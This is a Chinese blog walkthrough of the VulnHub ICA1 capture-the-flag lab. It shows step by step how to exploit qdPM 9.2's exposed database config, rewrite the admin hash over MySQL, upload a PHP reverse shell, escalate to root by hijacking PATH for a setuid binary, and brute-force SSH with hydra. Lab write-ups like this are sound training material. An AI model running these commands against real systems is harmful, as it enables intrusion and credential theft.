vulnhub-ica1-通关流程 // Kali & 靶场 & 渗透 & Linux

2023-05-16

vulnhub ica1 通关流程

演示视频:https://www.bilibili.com/video/BV1mG411b7to?share_source=copy_web&vd_source=64a913935cd06be9520fc94a5a9be4eb

Description

According to information from our intelligence network, ICA is
working on a secret project. We need to find out what the project is.
Once you have the access information, send them to us. We will place a
backdoor to access the system later. You just focus on what the project
is. You will probably have to go through several layers of security. The
Agency has full confidence that you will successfully complete this
mission. Good Luck, Agent!

Difficulty: Easy

This works better with VirtualBox rather than VMware

下载地址:ICA: 1 ~ VulnHub


阶段一:信息收集

1. 发现主机

netdiscover -i eth0  -r 192.168.1.1/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                    

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.1.1     80:8f:1d:fb:77:e0      1      60  TP-LINK TECHNOLOGIES CO.,LTD.                                  
 192.168.1.100   bc:5f:f6:f6:8a:2a      1      60  MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD.                    
 192.168.1.111   08:00:27:96:7b:c1      1      60  PCS Systemtechnik GmbH                                         
 192.168.1.104   46:1c:12:da:b7:3f      1      60  Unknown vendor                                                 

获得目标主机IP:192.168.1.111

2. 扫描主机

nmap -p- -sV -sC -O -oN nmap.out 192.168.1.111

获得目标端口信息:

  • 22 openSSH 8.4p1 Debian 5 (protocol 2.0)

  • 80/tcp open http Apache httpd 2.4.48 ((Debian))

  • 3306/tcp open mysql MySQL 8.0.26

分析:关于ssh和mysql的账户密码信息什么都没有,暴力破解无从着手。从端口80作为切入点比较合适。

3. 针对80端口收集网站信息

  • 发现登录系统qdPM 9.2,要求邮箱作为账号登录。进入qdPM官网后发现其是个管理系统。官网原文描述为:Free Web-Based Project Management Software (PHP/MySql)
  • 查询该系统版本的相关漏洞

    ┌──(root㉿kali)-[~/ica1]
    └─# searchsploit qdPM 9.2
    ------------------------------------------------------------------------
     Exploit Title                                  |  Path
    ------------------------------------------------------------------------
    qdPM 9.2 - Cross-site Request Forgery (CSRF)    | php/webapps/50854.txt
    qdPM 9.2 - Password Exposure (Unauthenticated)  | php/webapps/50176.txt
    ------------------------------------------------------------------------
    Shellcodes: No Results
    Papers: No Results
    
  • 发现可利用漏洞,可得数据密码信息。

    ┌──(root㉿kali)-[~/ica1]
    └─# cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
    # Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
    # Date: 03/08/2021
    # Exploit Author: Leon Trappett (thepcn3rd)
    # Vendor Homepage: https://qdpm.net/
    # Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
    # Version: 9.2
    # Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
    
    The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.                                                      
    
  • 按照说明获取yml文件

    wget http://192.168.1.111/core/config/databases.yml
    

    内容如下:

    all:
     doctrine:
     class: sfDoctrineDatabase
     param:
     dsn: 'mysql:dbname=qdpm;host=localhost'
     profiler: false
     username: qdpmadmin
     password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
     attributes:
     quote_identifier: true
    

    获得mysql数据库信息

    dbname:qdpm

    username:qdpmadmin

    password:UcVQCMQk2STVeS6J

阶段二:连接数据库

1. 登录数据库

mysql -h 192.168.1.111 -P 3306 --user=qdpmadmin --password=UcVQCMQk2STVeS6J

2. 查找有用信息

  • 查看所有数据库

    MySQL [(none)]> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | mysql              |
    | performance_schema |
    | qdpm               |
    | staff              |
    | sys                |
    +--------------------+
    6 rows in set (0.001 sec)
    
  • 在数据库表staff.department中获得职位信息。

    MySQL [(none)]> use staff;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    MySQL [staff]> select * from department;
    +------+----------+
    | id   | name     |
    +------+----------+
    |    1 | Agent    |
    |    2 | Engineer |
    +------+----------+
    2 rows in set (0.000 sec)
    
  • 在数据库表staff.login中获得一些密码信息,基于BASE64加密

    MySQL [staff]> select * from login;
    +------+---------+--------------------------+
    | id   | user_id | password                 |
    +------+---------+--------------------------+
    |    1 |       2 | c3VSSkFkR3dMcDhkeTNyRg== |
    |    2 |       4 | N1p3VjRxdGc0MmNtVVhHWA== |
    |    3 |       1 | WDdNUWtQM1cyOWZld0hkQw== |
    |    4 |       3 | REpjZVZ5OThXMjhZN3dMZw== |
    |    5 |       5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
    +------+---------+--------------------------+
    5 rows in set (0.008 sec)
    
  • 在数据库表staff.user中获得一些账户信息

    MySQL [staff]> select * from user;
    +------+---------------+--------+---------------------------+
    | id   | department_id | name   | role                      |
    +------+---------------+--------+---------------------------+
    |    1 |             1 | Smith  | Cyber Security Specialist |
    |    2 |             2 | Lucas  | Computer Engineer         |
    |    3 |             1 | Travis | Intelligence Specialist   |
    |    4 |             1 | Dexter | Cyber Security Analyst    |
    |    5 |             2 | Meyer  | Genetic Engineer          |
    +------+---------------+--------+---------------------------+
    5 rows in set (0.007 sec)
    
  • 从数据库表qdpm.configuration中获得管理员账号密码

    MySQL [staff]> use qdpm;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    MySQL [qdpm]> select * from configuration;
    +----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
    | id | key                                  | value                                                                                                                    |
    +----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
    |  1 | app_administrator_email              | admin@localhost.com                                                                                                      |
    |  2 | app_administrator_password           | $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0                                    
    
  • 总结

    • 获得一些职工的名字和密码,密码以Base64格式编码。但对应关系未知,作用未知。可尝试使用hydra枚举组合爆破SSH。[支线一]

    • 获得管理员账号密码对,账号格式为邮箱,猜测可用于qdPM系统登录。

      • 考虑到管理员权限很高,优先对此信息展开进一步处理。

      • 此密码加密类型为phpass,尝试JOHN对此密码进行暴力破解,失败。 [支线二]

      • 考虑对此密码HASH进行替换。

3. 更换密码

  • 获取新密码Hash

    ┌──(kali㉿kali)-[~]
    └─$ mkpasswd --method=md5crypt 123456
    $1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0
    
  • 写入数据库表

    MySQL [qdpm]> update configuration set value='$1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0' where id=2;
    
  • 查询确认

    MySQL [qdpm]> select value from configuration where id=2;
    +------------------------------------+
    | value                              |
    +------------------------------------+
    | $1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0 |
    +------------------------------------+
    1 row in set (0.000 sec)
    

阶段三:进入qdPM系统

1. 登录qdPM系统

账号:admin@localhost.com

密码:123456

2. 查找有用信息

  • 发现可新增用户,尝试新建一个管理员账户。

    Full Name:test

    Password:test

    Email:test@test.test

3. 上传 Reverse Shell

  • kali系统自带有反弹SHELL文件,

    位于/usr/share/webshells/php/php-reverse-shell.php

  • 复制文件,并修改文件中的IP为本机192.168.1.150,端口号为8888

    修改之后将其放入文件夹/home/kali/Document

  • 退出账户admin@localhost.com,登录账户test@test.test

  • 发现新建工程可以上传文件,上传php-reverse-shell.php

    Projects --> Add Project --> General & Attachments
    

4. 建立反弹SHELL

  • 寻找上传的文件位置。对网站目录进行枚举,发现http://192.168.1.111/uploads/attachments/目录,上传的附件就保存在此处。

    dirb http://192.168.1.111 -o dirb.out
    
  • 在本地终端监听端口。

    nc -lvnp 8888
    
  • 点击文件php-reverse-shell.php,本机监听处收到请求,成功建立反弹shell

阶段四:提权

  • 成功进入系统,IDwww-data

    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
  • 搜索可执行文件,发现文件get_access

    find / -perm -u=s 2>/dev/null
    
  • 执行该文件

    $ /opt/get_access
    
      ############################
      ########     ICA     #######
      ### ACCESS TO THE SYSTEM ###
      ############################
    
      Server Information:
       - Firewall:  AIwall v9.5.2
       - OS:        Debian 11 "bullseye"
       - Network:   Local Secure Network 2 (LSN2) v 2.4.1
    
    All services are disabled. Accessing to the system is allowed only within working hours.
    
  • 尝试读取该文件的字符内容,发现setuid字样,及cat读取root路径下文件的语句。猜测该程序先设置了UID,之后调用cat读取文件。可以考虑通过替换cat提权。

    $ strings /opt/get_access
    setuid
    socket
    puts
    system
    __cxa_finalize
    setgid
    __libc_start_main
    libc.so.6
    GLIBC_2.2.5
    _ITM_deregisterTMCloneTable
    __gmon_start__
    _ITM_registerTMCloneTable
    u/UH
    []A\A]A^A_
    cat /root/system.info
    
  • 更改环境变量

    cd /tmp
    echo '/bin/bash' > cat
    chmod +x cat
    export PATH=/tmp:$PATH
    
  • 运行程序,得到root身份,提权成功

    $ /opt/get_access
    id
    uid=0(root) gid=0(root) groups=0(root),33(www-data)
    

阶段五:获取FLAG

  • FLAG1位于/home/travis/user.txt。由于cat已经被替换,改用less读取文件。

    less user.txt
    ICA{Secret_Project}
    
  • FLAG2位于/root/root.txt

    less root.txt
    ICA{Next_Generation_Self_Renewable_Genetics}
    
  • 至此,任务完成


支线一:使用 hydra 枚举组合爆破 SSH

  • 将名字和密码分别存入文件users.txtbase64_passwords.txt。名字作为账户名可能为全小写或者全大写,所以将大小写名字也添加进去。

    Smith
    Lucas
    Travis
    Dexter
    Meyer
    
    smith
    lucas
    travis
    dexter
    meyer
    
    SMITH
    LUCAS
    TRAVIS
    DEXTER
    MEYER
    
    c3VSSkFkR3dMcDhkeTNyRg==
    N1p3VjRxdGc0MmNtVVhHWA==
    WDdNUWtQM1cyOWZld0hkQw==
    REpjZVZ5OThXMjhZN3dMZw==
    Y3FObkJXQ0J5UzJEdUpTeQ==
    
  • 对密码解码,并保存到文件passwords.txt

    for line in $(cat base64_passwords.txt)
    
    do
    
    echo $line | base64 -d >> passwords.txt
    echo -e >>passwords.txt
    done
    
    suRJAdGwLp8dy3rF
    7ZwV4qtg42cmUXGX
    X7MQkP3W29fewHdC
    DJceVy98W28Y7wLg
    cqNnBWCByS2DuJSy
    
  • 爆破

    hydra -e nsr -L users.txt -P passwords.txt 192.168.1.111 ssh -t 4 -o hydra.out
    
  • 成功得到账户密码组合

    ┌──(root㉿kali)-[~/ica1]
    └─# hydra -e nsr -L users.txt -P passwords.txt 192.168.1.111 ssh -t 4 -o hydra.out 
    Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-02 12:44:29
    [DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8), ~10 tries per task
    [DATA] attacking ssh://192.168.1.111:22/
    [22][ssh] host: 192.168.1.111   login: travis   password: DJceVy98W28Y7wLg
    [22][ssh] host: 192.168.1.111   login: dexter   password: 7ZwV4qtg42cmUXGX
    1 of 1 target successfully completed, 2 valid passwords found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-02 12:44:55
    

    login: travis password: DJceVy98W28Y7wLg

    login: dexter password: 7ZwV4qtg42cmUXGX

支线二:使用 JOHN 对管理员密码进行破解

  • 将密码hash保存到文件pass.hash

    $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0
    
  • 查看密码加密类型

    hashid -j pass.hash
    
  • 开始破解

    john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass pass.hash
    
  • 破解失败

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

vulnhub-ica1-通关流程 // Kali & 靶场 & 渗透 & Linux 的相关文章

  • 如何在 Vim 中突出显示 Bash 脚本?

    我的 Vim 编辑器自动突出显示 PHP 文件 vim file php HTML 文件 vim file html 等等 但是当我输入 vim file在里面写一个Bash脚本 它不会突出显示它 我如何告诉 Vim 将其突出显示为 Bas
  • 应用程序中两个不同版本的库

    考虑一个场景 其中有两个不同版本的共享库 考虑 A 1 so 链接到 B so A 2 so 链接到 C so 现在 B so 和 C so 都链接到 d exe 当 B so 想要调用 A 1 so 中的函数时 它最终会调用 A 2 so
  • 我想在 Red Hat Linux 服务器中执行 .ps1 powershell 脚本

    我有一个在窗口中执行的 ps1 powershell 脚本 但我的整个数据都在 Linux 服务器中 有什么可能的方法可以让我在红帽服务器中执行 powershell 脚本 powershell脚本是 Clear Host path D D
  • 使用 shell 脚本发送 HTML 邮件

    如何使用 shell 脚本发送 HTML 电子邮件 首先 您需要撰写消息 最低限度由这两个标头组成 MIME Version 1 0 Content Type text html 以及适当的消息正文 p Hello world p 获得后
  • 在本地主机上使用相同的 IP 和端口创建套接字

    我在 Linux 上看到奇怪的行为 我看到远程端和本地端都显示相同的 IP 和端口组合 以下是 netstat 输出 netstat anp 网络统计grep 6102 tcp 0 0 139 185 44 123 61020 0 0 0
  • 在ubuntu中打开spyder

    我想在ubuntu中打开spyder Python IDE 通常我会在 shell 中编写 spyder 它会打开spyder IDE 现在 当我在shell中编写spyder时 它只是换行 什么也没有发生 类似于按 enter 我如何找回
  • 使用 systemctl 获取 systemd 进程的正常运行时间或停机时间?

    喜欢使用systemctl is active
  • 如何从 Bash 命令行在后台 Vim 打开另一个文件?

    我正在从使用 Gvim 过渡到使用控制台 Vim 我在 Vim 中打开一个文件 然后暂停 Vim 在命令行上运行一些命令 然后想返回到 Vim Ctrl Z 在正常模式下 暂停 Vim 并返回到控制台 fg可用于将焦点返回到 Vim job
  • MySQL 与 PHP 的连接无法正常工作

    这是我的情况 我正在尝试使用 Apache 服务器上的 PHP 文件连接到 MySQL 数据库 现在 当我从终端运行 PHP 时 我的 PHP 可以连接到 MySQL 数据库 使用 php f file php 但是当我从网页执行它时 它只
  • 链接错误:命令行中缺少 DSO

    我对 Linux 使用 Ubuntu 14 04 LTS 64 位 相当陌生 来自 Windows 并且正在尝试移植我现有的 CUDA 项目 当通过链接时 usr local cuda bin nvcc arch compute 30 co
  • 为什么此 NASM 代码会打印我的环境变量?

    本学期我刚刚完成计算机体系结构课程 除其他外 我们一直在涉足 MIPS 汇编并在 MARS 模拟器中运行它 今天 出于好奇 我开始在我的 Ubuntu 机器上摆弄 NASM 基本上只是将教程中的内容拼凑起来 并感受一下 NASM 与 MIP
  • “git add”返回“致命:外部存储库”错误

    我刚刚进入 git 的奇妙世界 我必须提交我对程序所做的一系列更改 位于名为的目录中 var www myapp 我创建了一个新目录 home mylogin gitclone 从这个目录中 我做了一个git clone针对公共回购 我能够
  • 如何并行执行4个shell脚本,我不能使用GNU并行?

    我有4个shell脚本dog sh bird sh cow sh和fox sh 每个文件使用 xargs 并行执行 4 个 wget 来派生一个单独的进程 现在我希望这些脚本本身能够并行执行 由于某些我不知道的可移植性原因 我无法使用 GN
  • 如何在线程创建和退出时调用函数?

    include
  • vmsplice() 和 TCP

    在原来的vmsplice 执行 有人建议 http lwn net Articles 181169 如果您的用户态缓冲区是管道中可容纳的最大页面数的 2 倍 则缓冲区后半部分成功的 vmsplice 将保证内核使用缓冲区的前半部分完成 但事
  • 适用于 Linux 的轻量级 IDE [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • 调用 printf 系统子例程在汇编代码中输出整数错误[重复]

    这个问题在这里已经有答案了 来回 在windows7控制台窗口中运行gcc s2 asm 然后生成一个exe文件 运行a exe 然后崩溃 为什么 s2 asm 代码由以下源代码生成 int m m 1 iprint m s2 asm请参考
  • docker 非 root 绑定安装权限,WITH --userns-remap

    all 尝试让绑定安装权限正常工作 我的目标是在容器中绑定安装卷 以便 a 容器不以 root 用户身份运行入口点 二 docker daemon 配置了 userns remap 这样容器 主机上没有 root c 我可以绑定挂载和读 写
  • 在 .gitconfig 中隐藏 GitHub 令牌

    我想将所有点文件存储在 GitHub 上 包括 gitconfig 这需要我将 GitHub 令牌隐藏在 gitconfig 中 为此 我有一个 gitconfig hidden token 文件 这是我打算编辑并放在隐藏令牌的 git 下
  • python获取上传/下载速度

    我想在我的计算机上监控上传和下载速度 一个名为 conky 的程序已经在 conky conf 中执行了以下操作 Connection quality alignr wireless link qual perc wlan0 downspe

随机推荐